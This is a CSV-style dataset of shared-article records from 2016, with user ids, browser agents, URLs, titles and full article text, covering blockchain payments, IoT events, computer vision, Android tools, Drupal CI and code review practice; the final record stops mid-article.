1478003832,CONTENT SHARED,1117455951802655890,3609194402293569455,8610082180409459730,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/visa-anuncia-plataforma-para-pagamentos-b2b-internacionais-com-tecnologia-blockchain/,Visa anuncia plataforma para pagamentos B2B internacionais com tecnologia blockchain - Startupi,"A Visa acaba de anunciar uma prévia da Visa B2B Connect, plataforma que a empresa está desenvolvendo para oferecer às instituições financeiras uma forma simples, rápida e segura de processar pagamentos entre empresas (B2B) mundialmente. A Visa está trabalhando com a Chain na construção da solução Visa B2B Connect usando a Chain Core, infraestrutura de blockchain de uso empresarial, para facilitar transações financeiras em redes de blockchain privadas e escalonáveis. Tendo a tecnologia como base, a Visa está desenvolvendo um novo sistema para transações que atua quase que em tempo real, projetado para enviar e receber pagamentos internacionais de alto valor entre bancos participantes em nome de seus clientes corporativos. Gerenciada de ponta a ponta pela Visa, a solução Visa B2B Connect viabilizará um processo consistente para o gerenciamento de liquidações com base em práticas padrão da Visa. Com a solução, a Visa pretende melhorar significativamente a forma como os pagamentos B2B internacionais são realizados hoje, oferecendo custos claros, tempos de entrega menores e um processo transparente. Em última análise, isso reduzirá os investimentos e recursos exigidos dos bancos e de seus clientes corporativos para enviar e receber pagamentos comerciais. A solução Visa B2B Connect, que a empresa pretende testar em um piloto 2017, foi criada para melhorar os pagamentos B2B oferecendo um sistema previsível e transparente, onde bancos e seus clientes corporativos são notificados do pagamento e de sua finalidade quase que em tempo real; seguro, para que as transações sejam assinadas e criptograficamente ligadas, o que garante um sistema de registro imutável; e confiável,onde todas as partes da rede são conhecidas e participam de uma arquitetura de blockchain privada autorizada, operada pela Visa. ""O momento não poderia ser melhor para a comunidade empresarial global tirar partido de novas tecnologias de pagamento e melhorar alguns processos fundamentais para a gestão de seus negócios"", diz Jim McCarthy, vice-presidente executivo de inovação e parcerias estratégicas da companhia. ""Estamos desenvolvendo essa nova solução para que nossas instituições financeiras parceiras disponham de uma forma eficiente e transparente para realizar pagamentos no mundo inteiro"". ""Este é um marco espetacular em nossa parceria com a Visa"", diz Adam Ludwin, CEO da Chain. ""É um privilégio apoiar os esforços da Visa para melhorar o serviço que ela oferece aos seus clientes e para moldar o futuro do comércio internacional com esta inovação baseada na tecnologia blockchain, que moderniza os pagamentos comerciais entre instituições financeiras e seus clientes ao redor do mundo"".",pt
1478005089,CONTENT SHARED,6658481071718074876,-2820994773540913369,-8362330129898569542,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.bonde.com.br/blog/londrina-genial/1-forum-sercomtel-de-iot-e-smart-cities-sera-realizado-no-dia-4-de-novembro-426670.html,1º Fórum Sercomtel de IOT e Smart Cities será realizado no dia 4 de Novembro - Blog - Bonde. O seu portal,"1º Fórum Sercomtel de IOT e Smart Cities será realizado no dia 4 de Novembro No cenário de inovações implantadas pela Internet das Coisas (IOT), estão as Smarts Cities que protagonizam o conceito de cidades inteligentes com as tecnologias de informação e comunicação. Como assunto toma conta dos debates e dirige a produção nas mais diversas áreas é importante que todos entendam e estejam informados sobre esta revolução tecnológica que acontece no mundo. É com este objetivo que a Sercomtel Participações promove nos dias 3 e 4 de novembro o 1º Fórum Sercomtel de IOT e Smart Cities, no Auditório do Senai Londrina (Rua Belém, 844). O evento é dirigido a convidados, autoridades, profissionais de renome da área de Tecnologia da Informação e Comunicação e ao público interno da Sercomtel. A proposta do Fórum é promover a imersão no tema, com dez palestras que tratarão do potencial de negócios, aplicações, plataformas, big data e analytics. No encerramento, haverá ainda um ""flash section"" apresentando a produção voltada para IOT e Smart Cities de 10 empresas da região. Confira a programação completa: 3 nov 2016 - QUINTA-FEIRA 18:30 - 19:30 Recepção 19:30 – 20:00 Abertura 20:00 – 21:00 IoT e Smart Cities - Vinícius Oliveira (CPqD) 21:00 - 22:00 IoT - Potencial de Negócios e Casos de Sucesso - Tales Silva (Ericsson) 22:00 Encerramento 4 nov 2016 – SEXTA-FEIRA 8:30 - 09:00 Recepção 09:00 – 09:50 Indústria 4.0 - Conceitos e Aplicações - Ederson Luis Amgarten (SENAI) 09:50 – 10:40 Plataformas de IoT - Ricardo Buranello (Telit) 10:40 – 11:00 Smart Cities – Julio Pessoa (Indra) 11:00 – 12:00 IoT em redes de baixa energia – LPWAN - Flávio Maeda (ABINC) 12:00 - 14:00 Almoço e network 14:00 – 14:50 Vodafone IoT Barometer 2016 - Arthur Ribeiro (Vodafone) 14:50 – 15:40 Big Data e Analytics - Rafael Matsuyama (IEEE) 15:40 – 16:30 A iluminação pública de Smart Cities - Denis Naressi (Exati) 16:30 – 18:30 Flash Section - 10 empresas da região mostram o que estão fazendo em IoT e Smart Cities 18:30 Encerramento",pt
1478007141,CONTENT SHARED,-8615008595949058842,-1443636648652872475,-221009683773945387,Android - Native Mobile App,SP,BR,HTML,http://www.zdnet.com/article/restb-ai-why-custom-computer-vision-as-a-service-makes-sense/,Restb.ai: Why custom computer vision as a service makes sense | ZDNet,"Image: RestB Last month, Facebook had to apologize after guns, drugs, snakes, and baby hedgehogs were listed for sale on its new Marketplace section. RestB reckons it could have avoided that situation. The Barcelona based B2B startup has developed an algorithm to determine in near real time what is in a particular image, thus solving a number of potential business problems posed through the automated interpretation of imagery. On the face of it, RestB's commercial proposition available through a simple HTTP RESTful API call appears to be quite similar to computer-vision services offered by big firms such as Microsoft, IBM, and Google, which has just published two datasets of captioned images to help train computer-vision systems. Yet, Xavi Hernando, RestB co-founder and data scientist, argues that his company has found a way to differentiate its offering. ""Large technology firms offer closed solutions to distill information from images in general terms. RestB tries to solve specific problems by taking advantage of state-of-the-art artificial intelligence,"" Hernando says. ""If we take a picture of a city, Google or Microsoft would describe it by indicating that it shows streets, buildings and people, by day or night. RestB is able to train intelligent models to figure out the brand and model of cars appearing in the image, the location and status of traffic lights or the architectural style of buildings."" Through these high-precision models, the company, which started its activity in early 2016, has gained clients in multiple verticals all around the world, including Northern Europe, US, Australia, and Asia. The real-estate sector, the automotive sector, and leading marketplaces are particularly interested in this deep learning technology. ""We can block spam or badly-tagged images and sort pictures from the different parts of a house, classify more than 900 models of cars or categorize products for a marketplace app and block those which are prohibited such as weapons or drugs,"" Hernando says. RestB CEO Àngel Esteban reckons the company's intelligent image-recognition API can adapt to any case with results accuracy of between 95 percent and 98 percent. ""We've a client in Norway who is using it to determine the state of pipelines. The technology [could also be used to tell you] whether a driver is too tired to be at the wheel, or to analyze objects and actions in crime scenes, or even equip drones to be of use in catastrophes zones,"" Esteban says. The RestB product is based on convolutional neural networks, which is a deep-learning technique. Jordi Torres, an expert in artificial intelligence supercomputing for the Barcelona Supercomputing Center, says convolutional neural networks work by consecutively modelling small pieces of information and combining them ever deeper into the system. ""They can give very accurate results when using a significant computing power. Training these networks to be precise is not an easy task. Yet, it is now possible to get trained machine-learning networks through the publicly available dataset ImageNet [which consists of 14 million images],"" he says RestB CEO Esteban insists that RestB is ""the only company offering custom computer vision as a service for now"" and reveals the startup is in the midst of a financing round to improve its algorithm to be able to respond to clients more quickly. ""We want to grow internationally too. Being at the Disrupt San Francisco 2016 conference gave us international projection. In fact, we're thinking about setting up in California, where things move quicker. Yet we want to keep the core business in Barcelona because Barcelona is a powerful brand,"" Esteban says. Núria Betriu, CEO of Catalonia Trade & Investment, believes that artificial intelligence is a key technology that will have an impact in several areas, ranging from the financial sector, to tourism, retail and smart mobility. ""These are sectors with particular significance for the Catalan industry, a fact that outlines an attractive ecosystem for technology companies around the world interested in implementing their developments before making them available globally,"" she says. ""If data is the new unrefined oil, artificial intelligence is the process of transformation that makes it a valuable material for any business."" RestB CEO Esteban echoes this sentiment: ""We don't have to be afraid of AI. It's a tool to help us move ahead more rapidly."" Read more from the IT Iberia blog",en
1478009684,CONTENT SHARED,-3307413259092352650,-4465926797008424436,8074583957890455896,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://www.toptal.com/android/guide-to-underused-android-libraries,An Overly Thorough Guide To Underused Android Libraries,Any experienced developer will tell you that their best code isn't code they wrote. It's code they took from someone else's work. Many of the problems we encounter have already been solved-and the remedies packaged into libraries available to anyone. Why reinvent the wheel when free wheels are everywhere?,en
1478009955,CONTENT SHARED,3465127447598546258,-1032019229384696495,7933054654096533563,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/11/01/hubble-contacts-raises-7-2-million-to-deliver-disposable-lenses-direct-to-consumers/,Hubble Contacts raises $7.2 million to deliver disposable lenses direct to consumers,"At least 30 million people wear contact lenses in the U.S., but somehow, less than one-third of this population wears daily disposable lenses, which are deemed the most hygienic and healthiest option by eye health professionals. A New York City startup called Hubble Contacts , co-founded by Ben Cogan and Jesse Horwitz, wants to make daily disposable lenses the norm here the way they are in most of Europe, Japan and other markets globally. Their newly launched startup promises customers a high quality but more affordable option than what's available from traditional and online sellers of contact lenses, like Walmart, Walgreens or 1-800-Contacts. Hubble can offer lower prices, in part, because the company controls its own supply chain. It has partnered with a Taiwan-based factory to manufacture a Hubble brand of FDA-approved lenses in fully recyclable, branded packaging. If their business model sounds familiar, that's because companies like Harry's, Dollar Shave Club, Julep, NatureBox, and others have succeeded with ""direct-to-consumer,"" brands and subscription commerce services in several categories by now. In fact, Cogan previously worked for Harry's (HF Global Inc.) , the rapidly growing brand that makes and sells razors and other men's grooming products on a subscription basis, and at retail. Following in the footsteps of these ""vertically integrated ecommerce"" startups, Hubble has been able to raise $7.2 million in early stage venture funding to-date (in a seed round and extension). Hubble's backers include Founders Fund , Greycroft Partners , Wildcat Capital Management, Two River , and two individual angels, Oscar Salazar a co-founder of Uber, and Brian Levy, formerly Bausch and Lomb's Chief Medical Officer. The deal marks Levy's first angel investment. The veteran of the eyecare industry said, ""There's more than a subscription service that matters here. There's a great price point and the know-how that the Hubble executive team has in terms of safety, efficacy and getting word out to wearers of contact lenses. These things would all be hurdles to competitors."" Cogan and Horwitz said they are the only new contact lens brand to launch in more than a decade in this country, and that's because it's not easy to outsource manufacturing of contacts the way it is to do so with apparel, snacks or even mattresses. Hubble ""members"" can buy a monthly supply of lenses for $30, shipped directly to their homes. Customers can use a valid prescription from any source to register and start a Hubble subscription. The startup verifies all prescriptions painstakingly. Hubble is also working to stay in the good graces of the eye care industry. Its site lets visitors book an appointment with a licensed eye doctor nearby, should they need a new prescription. Hubble doesn't require eye doctors to prescribe their brand of lenses to referred patients. But driving new business to opthamologists or optometrists certainly gets their attention, and makes them aware of Hubble's offering, the cofounders said. Greycroft Partners' Ellie Wheeler, a Hubble investor, said she expects the company to use its funding for hiring, to get word out about its brand in the U.S., and to make sure every operational detail leads to great customer experiences. She said, ""In a lot of categories, you didn't care about a brand until you did. We're making a bet that Hubble can create a brand that resonates with consumers. Delivery and convenience are only part of what they're offering."" Featured Image: Hubble Contacts",en
1478019621,CONTENT SHARED,-2440547657721869309,-1443636648652872475,-221009683773945387,Android - Native Mobile App,SP,BR,HTML,http://bitcoinist.net/money-2020-artificial-intelligence/,Money 20/20 Panel: Artificial Intelligence and Machine Learning,"On Wednesday morning at the Money20/20 conference in Las Vegas, a unique and timely panel discussed the emergence and potential applications of Artificial Intelligence (AI) and Machine Learning (ML) in the global, traditional payments arena. Also read: Technical Analysis: Bitcoin Price to Hit $1500 By Year-End? Bringing Blockchain to Artificial Intelligence and Machine Learning As computational technology advances, leveraging trends in data and meta-data will help organizations understand both their customers and other businesses more extensively. AI and ML are going to affect all realms of society, and payments are not immune to this trend. Democratization of tools for analytics in the field will help open up doors for an expanded crowd. As tools and APIs for developers looking towards AI or ML expand, developers will be able to access these complex tools more easily. Speaking to this, Dr. Arif Ahmed of U.S. Bank remarked how, ""With deep learning, you have better ways to conceptualize problems. You see how voice recognition, fraud recognition, and more are improving. You start with the technology, and then you host concepts. . .We have reached a point where this will exponentially increase over the next few years."" Pattern recognition from AI and ML advancements will have a strong impact as it relates to Anti-Money-Laundering (AML) and Know-Your-Customer (KYC) practices. Particularly in the litigation response matters, Husayn Kassai of Onfido explained how often times remediation work today is outdated. ""The current way that it is carried out isn't necessarily fit for a digital age,"" said Kassai. ""It doesn't make sense to have fully human authentication systems at a bank."" Ensuring a proper intake of data will be key here, the panel said, as financial services players transition to updated or increasingly distributed backend platforms. In the future, many consumer-facing products, including chatbots, will make their way into digital services. For lots of financial players, the ability of machines to understand human slander falls short, as placing consumer-facing concerns in context is a major challenge. People can build chatbots with specific purposes, such as manuals to build a plane or figure out the nature of a mortgage contracts. To minimize errors, look for chatbots in financial services to be developed with specific purposes, such as mortgage loan contracts or ATM interfacing. David Gilvin of IBM remarked how ""AI is always on, 365, 24/7. . .If the machine is making the decision, then fundamentally it is not the same as the financial advisor, it is automated through machine learning. . .not only is it always on, it is everywhere."" Due to increased regulatory pressures and oversight, AI development in financial services is in a stranglehold. Banks and traditional financial institutions will look towards AI once business models emerge for ways to profit from solution-grade AI-financial software. Blockchain technology, however, presents a more emergent structure for data storage and application processing such that its inclusion in traditional financial institution circles could lend more easily to AI and ML applications. Inevitably, the panel said, the regulatory environments at home and abroad will have to adopt. Speaking to this, Martina King of Featurespace echoed the challenges that banks faced in the early days of the internet, and how primitive regulation frameworks created during this timeframe can be changed to help AI and ML applications in banking along. Finally, in the future, improvements will become more clear to everyone. Stakes for taking an early lead in proprietary software markets in AI and ML to financial services institutions signals the large amounts of money currently on the table. Adding additional programmatic layers on top of existing disparate financial data should yield massive insights for supply chain providers, retailers, customers, and businesses worldwide. Look for both AI and ML to move away from ""black boxes"" and more towards proofs-of-concept, similar to the trend that is ongoing in the permissioned-blockchain world. Both applications will likely have a massive impact in the near future! What do you think about the possibility of Artificial Intelligence or Machine Learning as it applies to financial services, or even blockchain technology? Share your thoughts in the comments below! Images courtesy of Ryan Strauss. The bitcoin price has recently launched into an upward rally, with technical indicators showing the rise slowing do... The vDice Crowdsale (ICO) starts on November 15th. Disclaimer: This is a press release provided by vDice. VDice Ann... Apptrade, recently announced at CoinAgenda in Las Vegas, and covered by Forbes contributor Roger Atkins, will hold ...",en
1478110119,CONTENT SHARED,7401798504722165526,3217014177234377440,46590195238261427,"Mozilla/5.0 (X11; CrOS x86_64 8743.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.79 Safari/537.36",SP,BR,HTML,http://blog.locaweb.com.br/geral/sera-que-voce-esta-fazendo-brainstorm-da-forma-correta/,"[Techniques] Será que você está fazendo ""brainstorm"" da forma correta? - Blog Locaweb - Notícias sobre tecnologia, programação e muito mais.","Terça-feira, 9 da manhã, primeira atividade do dia: brainstorm para a criação de uma campanha de Natal para um cliente do segmento de tecnologia. Time reunido, café a postos, todo mundo com cara de poucos amigos e um briefing de mais ou menos 5 linhas. Entre um gole de café e outro, piadas internas e algumas risadas, as melhores soluções começam a se destacar e pouco mais de uma hora depois, voialà , a campanha está criada. A cena é recorrente nas agências de comunicação, podendo variar o segmento do cliente e a quantidade de linhas no briefing, mas uma coisa nunca muda, a reunião de mentes criativas para ter ideias. Embora a prática do brainstorm seja bastante comum em empresas de diversas áreas, nem sempre ele acontece como deveria. Muitas vezes a reunião não rende como o esperado pois o processo de compartilhamento das ideias não é produtivo. Mas como assim? Há uma forma correta de fazer um brainstorm? Não exatamente, mas existem técnicas que podem ser aplicadas para que as ideias fluam de maneira mais natural. 1 - Crie uma atmosfera para o brainstorm Muitas vezes colocar seu time na sala de reuniões e esperar que ideias geniais apareçam não é suficiente. É preciso criar uma atmosfera que incentive a criatividade e a inovação. Ir a um lugar diferente, com estímulos visuais variados e fora da zona de conforto dos participantes irá proporcionar uma experiência enriquecedora para todos. 2 - Conheça bem o cliente e qual seu objetivo Ter foco nos objetivos do cliente é fundamental para um brainstorm assertivo. Busque o máximo de informações possíveis antes de começar a reunião para evitar pausas e tenha em mente qual será o resultado da ação no futuro. 3 - Tenha muitas ideias, sem filtro Esta é uma dica muito importante para todos os participantes de um brainstorm. Ter ideias é o principal objetivo de uma reunião de criativos e, nós sabemos, a maioria delas não é boa. Mas ainda assim são úteis e podem trazer insights para que outras pessoas falem o que estão pensando. 4 - Não critique a ideia dos outros Nada de ridicularizar o coleguinha durante um brainstorm. As pessoas têm referências diferentes e tudo é válido enquanto nada está definido. Criticar pode tornar o ambiente pesado e criar um bloqueio de ideias nos participantes. No primeiro momento todas as opiniões devem fluir, sem filtro. 5 - Desfaça e refaça ideias Não se apegar a uma ideia é fundamental para o bom andamento do brainstorm. Imagine se todos os participantes ficarem focados apenas no que compartilharam? Desfazer ideias, refazê-las e melhorar seu conteúdo pode render trabalhos geniais. A contribuição de cada pessoa é o que faz a diferença para um grande projeto. 6 - Use técnicas criativas Nuvem de palavras, moodboard com imagens e associação de ideias são algumas técnicas criativas que podem ajudar seu time a ter um melhor resultado durante o brainstorm. Modificar os estímulos e incentivar que as pessoas saiam da sua zona de conforto ajuda a criar novas ideias. 7 - Escreva e desenhe Tenha sempre uma caneta em mãos, mesmo que seja de uma mesa digital. Anotar palavras e fazer desenhos enquanto as ideias estão fluindo abre caminho para novas possibilidades de associação de palavras e personagens. Como são os brainstorms aí na sua empresa? Usando nossas dicas você pode ter reuniões mais produtivas, criativas e cheias de boas ideias. Compartilhe com seu time!",pt
1478174239,CONTENT SHARED,-2855218766021441159,-1836083230511905974,-8007976320643038704,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",MG,BR,HTML,http://android-developers.blogspot.com.br/2016/11/support-ended-for-eclipse-android.html,Support Ended for Eclipse Android Developer Tools,"With the release of Android Studio 2.2 , the time has now come to say goodbye to the Eclipse Android Developer Tools. We have formally ended their support and development. There's never been a better time to switch to Android Studio and experience the improvements we've made to the Android development workflow. Android Studio Android Studio , the official IDE for Android, features powerful code editing with advanced code-completion and refactoring. It includes robust static analysis , bringing the intelligence of the Android engineering team to you to help you easily apply Android coding best practices, and includes simultaneous debugging in both Java and C++ to help fix any bugs that slip through. When you combine this with performance tooling, a fast, flexible build system, code templates, GitHub integration, and its high-performance, feature-rich emulator, you get a deeply Android-tailored development environment for the many form factors of the OS. It's the development environment used by 92% of the top 125 Google Play apps and games, and we're constantly innovating it to handle every Android development need. What's New in Android Studio 2.2 Android Studio 2.2 builds on the great features from Android Studio 2.0. There are over twenty new features that improve development whether you are designing, iterating, or testing. Notable changes include: Instant Run - The super-fast iteration engine now is both more reliable and available for more types of changes Layout Editor - The new user interface designer that makes it easier than ever to create beautiful app experiences Constraint Layout - A new flexible layout engine for building dynamic user interfaces - designed to work with the new layout editor C++ Support - CMake and ndk-build are now supported alongside improved editing and debug experiences APK Analyzer - Inspects APKs to help you streamline your APK and debug multi-dex issues GPU Debugger (beta) - Captures a stream of OpenGL ES commands and replays them with GPU state inspection Espresso Test Recorder (beta) - Records interactions with your app and outputs UI test code Top Developers Love Android Studio For our ADT Fans All of your favorite ADT tools are now part of Android Studio, including DDMS, Trace Viewer, Network Monitor, and CPU Monitor. We've also improved Android Studio's accessibility , including keyboard navigation enhancements and screen reader support. We announced that we were ending development and official support for the Android Developer Tools (ADT) in Eclipse at the end of 2015, including the Eclipse ADT plugin and Android Ant build system. With the latest updates to Studio, we've completed the transition. Migrating to Android Studio To get started, download and install Android Studio . For most developers, including those with C/C++ projects, migration is as simple as importing your existing Eclipse ADT projects in Android Studio with the File > New > Import Project menu option. For more details on the migration process, check out the migration guide . Feedback and Open Source Contributions We're dedicated to making Android Studio the best possible integrated development environment for building Android apps, so if there are missing features or other challenges preventing you from switching to Android Studio, we want to hear about it [ survey ] ! You can also file bugs or feature requests directly with the team, and let us know via our Twitter or Google+ accounts. Android Studio is an open source project, available to all at no cost. Check out our Open Source project page if you're interested in contributing or learning more.",en
1478176462,CONTENT SHARED,-91139000311163410,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://blog.wodby.com/drupal-8-ci-cd-with-jenkins-part-1-integration-eabd0f5c4f75?gi=77b15229c08,Drupal 8 CI/CD with Docker via Jenkins. Part 1: Integration,"In this article I will demonstrate how to organize CI workflow for your Drupal 8 website with Docker. We will use Jenkins as our CI/CD tool and docker4drupal containers for test environment. This article will consist of two parts. In the first part we will install Jenkins and set up our build. During the build we will spin up testing environment with docker4drupal containers and run a few test suites (both unit and functional) from Drupal core. In the second part, we will prepare the deployment tarball (archive with the code) and upload it to AWS S3. Then we deploy a new docker-based environment for Drupal and deliver there our tarball. Installation and configuration First let's install Jenkins. I will install it on a AWS EC2 node with Debian 8. 2. Generate SSH key for Jenkins user 3. Allow sudo for jenkins 4. Install Docker engine 5. Allow jenkins deal with Docker. 6. Install Docker Compose. 7. Install AWS Cli (we will use AWS S3 for delivery) 8. Restart Jenkins service 9. Get your jenkins admin password here 10. Open your Jenkins installation (localhost:8080). Install suggested plugins: 11. Install additional plugins ""Environment Injector Plugin"" and ""AnsiColor"" Continuous Integration We need to grant Jenkins access to our git repository. We generated an SSH key before, so we just select the appropriate option 2. Now add this SSH key to your Git repository. You can find it here. 3. Create a new Freestyle Project (job) in Jenkins and add your git repository 4. Add the following docker-compose.yml file to your repository, it's a simplified version of docker4drupal : docker-compose.yml file defines a set of services/containers for our test environment. Besides PHP we need MariaDB and Nginx containers because we will run functional tests and they require a database and a web server. For the same reason we add two variables for Simpletest in PHP container. As you can see we don't expose any public ports and have no volume for the database. We don't need it because our environment will be used only for tests during the build. Build Setup Add the following files to our repository which will be used for our build. This script will run a docker containers with composer to fetch Drupal's dependencies. First, we change ownership to user 82, it's a www-data user id inside of the php/nginx containers. Then we spin up mariadb and nginx services defined in our docker-compose.yml file. And finally we launch 4 test suites (unit and functional) from Drupal's core. Now we just need to add build steps that will execute these scripts. Running the Build We now have everything we need. Let's run the build. We'll see the following output: As you can all tests are passed. This means we can now go the second part where we deliver our build. Part 2: Continuous Delivery",en
1478176600,CONTENT SHARED,-6642751159620064055,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://capgemini.github.io/drupal/what-to-look-for-in-code-review/,What to look for in a code review ,"In a previous article on this blog, I talked about why code review is a good idea , and some aspects of how to conduct them. This time I want to dig deeper into the practicalities of reviewing code, and mention a few things to watch out for. Code review is the first line of defence against hackers and bugs. When you approve a pull request, you're putting your name to it - taking a share of responsibility for the change. Once bad code has got into a system, it can be difficult to remove. Trying to find problems in an existing codebase is like looking for an unknown number of needles in a haystack , but when you're reviewing a pull request it's more like looking in a handful of hay. The difficult part is recognising a needle when you see one. Hopefully this article will help you with that. Code review shouldn't be a box-ticking exercise, but it can be helpful to have a list of common issues to watch out for. As well as the important question of whether the change will actually work, the main areas to consider are: I'll touch on these areas in more detail - I'll be talking about Drupal and PHP in particular, but a lot of the points I'll make are relevant to other languages and frameworks. Security I don't claim to be an expert on security, and often count myself lucky that I work in what my colleague Andrew Harmel-Law calls ""a creative-inventive market, not a safety-critical one"" . Having said that, there are a few common things to keep an eye out for, and developers should be aware of the OWASP top ten list of vulnerabilities . When working with Drupal, you should bear in mind the Drupal security team's advice for writing secure code . For me, the most important points to consider are: Does the code accept user input without proper sanitisation? In short - don't trust user input. The big attack vectors like XSS and SQL injection are based on malicious text strings. Drupal provides several types of text filtering - the appropriate filter depends on what you're going to do with the data, but you should always run user input through some kind of sanitisation . Are we storing sensitive data anywhere we shouldn't be? Security isn't just about stopping bad guys getting in where they shouldn't. Think about what kind of data you have, and what you're doing with it. Make sure that you're not logging people's private data inappropriately, or passing it across network in a way you shouldn't. Even if the site you're working on doesn't have anything as sensitive as the Panama papers , you have a legal, professional, and personal responsibility to make sure that you're handling data properly. Performance When we're considering code changes, we should always think about what impact they will have on the end user, not least in terms of how quickly a site will load. As Google recently reminded us , page load speed is vital for user engagement. Slow, bloated websites cost money, both in terms of mobile data charges and lost revenue . Does the change break caching? Most Drupal performance strategies will talk about the value of caching. The aim of the game is to reduce the amount of work that your web server does. Ideally, the web server won't do any work for a page request from an anonymous user - the whole thing will be handled by a reverse proxy cache, such as Varnish. If the request needs to go to the web server, we want as much of the page as possible to be served from an object cache such as Redis or Memcached, to minimise the number of database queries needed to render the page. Are there any unnecessary uses of $_SESSION ? Typically, reverse proxy servers like Varnish will not cache pages for authenticated users. If the browser has a session, the request won't be served by Varnish, but by the web server. Here's an illustration of why this is so important. This graph shows the difference in response time on a load test environment following a deployment that included some code to create sessions. There were some other changes that impacted performance, but this was the big one. As you can see, overall response time increased six-fold, with the biggest increase in the time spent by the web server processing PHP (the blue sections on the graphs), mainly because a few lines of code creating sessions had slipped through the net. Are there any inefficient loops? The developers' maxims ""Don't Repeat Yourself"" and ""Keep It Simple Stupid"" apply to servers as well. If the server is doing work to render a page, we don't want that work to be repeated or overly complex. What's the front end performance impact? There's no substitute for actually testing, but there are a few things that you can keep an eye out for when reviewing change. Does the change introduce any additional HTTP requests? Perhaps they could be avoided by using sprites or icon fonts. Have any images been optimised? Are you making any repeated DOM queries ? Accessibility Even if you're not an expert on accessibility, and don't know ARIA roles , you can at least bear in mind a few general pointers. When it comes to testing, there's a good checklist from the Accessibility Project , but here are some things I always try to think about when reviewing a pull request. Will it work on a keyboard / screen reader / other input or output device ? Doing proper accessibility testing is difficult, and you may not have access to assistive technology, but a good rule of thumb is that if you can navigate using only a keyboard, it will probably work for someone using one of the myriad input devices . Testing is the only way to be certain, but here are a couple of simple things to remember when reviewing CSS changes: hover and focus should usually go together, and you should almost never use outline: none; . Are you hiding content appropriately? One piece of low-hanging fruit is to make sure that text is available to screen readers and other assistive technology. Any time I see display: none; in a pull request, alarm bells start ringing. It's usually not the right way to hide content . Maintainability Hopefully the system you're working on will last for a long time. People will have to work on it in the future. You should try to make life easier for those people, not least because you'll probably be one of them. Reinventing the wheel Are you writing more code than you need to? It may well be that the problem you're looking at has already been solved, and one of the great things about open source is that you're able to recruit an army of developers and testers you may never meet . Is there already a module for that? On the other hand, even if there is an existing module, it might not always make sense to use it. Perhaps the contributed module provides more flexibility than our project will ever need, at a performance cost. Maybe it gives us 90% of what we want, but would force us to do things in a certain way that would make it difficult to get the final 10%. Perhaps it isn't in a very healthy state - if so, perhaps you could fix it up and contribute your fixes back to the community, as I did on a recent project . If you're writing a custom module to solve a very specific problem, could it be made more generic and contributed to the community? A couple of examples of this from the Capgemini team are Stomp and Route . One of the jobs of the code reviewer is to help draw the appropriate line between the generic and the specific. If you're reviewing custom code, think about whether there's prior art. If the pull request includes community-contributed code, you should still review it. Don't assume that it's perfect, just because someone's given it away for nothing. Appropriate API usage Is your team using your chosen frameworks as they were intended? If you see someone writing a custom function to solve a problem that's already been solved, maybe you need to share a link to the API docs for the existing solution. Introducing notices and errors If your logs are littered with notices about undefined variables or array indexes, not only are you likely to be suffering a performance hit from the logging, but it's much harder to separate the signal from the noise when you're trying to investigate something. Browser support Remember that sometimes, it's good to be boring . As a reviewer, one of your jobs is to stop your colleagues from getting carried away with shiny new features like ES6, or CSS variables. Tools like Can I Use are really useful in being able to check what's going to work in the browsers that you care about. Code smells Sometimes, code seems wrong. As I learned from Larry Garfield's excellent presentation on code smells at the first Drupalcon I went to, code smells are indications of things that might be a deeper problem. Rather than re-hash the points Larry made, I'd recommend reading his slides , but it is worth highlighting some of the anti-patterns he discusses. Functions or objects that do more than one thing A function should have a function. Not two functions, or three. If an appropriate comment or function name includes ""and"", it's a sign you should be splitting the function up. Functions that sometimes do different things Another bad sign is the word ""or"" in the comment. Functions should always do the same thing. Excessive complexity Long functions are usually a sign that you might want to think about refactoring. They tend to be an indicator that the code is more complex than it needs to be. The level of complexity can be measured , but you don't need a tool to tell you that if a function doesn't fit on a screen, it'll be difficult to debug. Not being testable Even if functions are simple enough to write tests for, do they depend on a whole system? In other words, can they be genuinely unit tested? Lack of documentation There's more to be said on the subject of code comments than I can go into here, but suffice to say code should have useful, meaningful comments to help future maintainers understand it. Tight coupling Modules should be modular. If two parts of a system need to interact, they should have a clearly defined and documented interface. Impurity Side effects and global variables should generally be avoided. Sensible naming Is the purpose of a function or variable obvious from the name? I don't want to rehash old jokes , but naming things is difficult, and it is important. Why would you comment out lines of code? If you don't need it, delete it. The beauty of version control is that you can go back in time to see what code used to be there. As long as you write a good commit message, it'll be easy enough to find. If you think that you might need it later, put it behind a feature toggle so that the functionality can be enabled without a code release. Specificity In CSS, IDs and !important are the big code smells for me. They're a bad sign that a specificity arms race has begun. Even if you aren't going to go all the way with a system like BEM or SMACSS , it's a good idea to keep specificity as low as possible. The excellent articles on CSS specificity by Harry Roberts and Chris Coyier are good starting points for learning more. Standards It's important to follow coding standards . The point of this isn't to get some imaginary Scout badge - code that follows standards is easier to read, which makes it easier to understand, and by extension easier to maintain. In addition, if you have your IDE set up right, it can warn you of possible problems, but those warnings will only be manageable if you keep your code clean . Deployability Will your changes be available in environments built by Continuous Integration? Do you need to set default values of variables which may need overriding for different environments? Just as your functions should be testable, so should your configuration changes. As far as possible, aim to make everything repeatable and automatable - if a release needs any manual changes it's a sign that your team may need to be thinking with more of a DevOps mindset . Keep Your Eyes On The Prize With all this talk of coding style and standards, don't get distracted by trivialities - it is worth caring about things like whitespace and variable naming, but remember that it's much more important to think about whether the code actually does 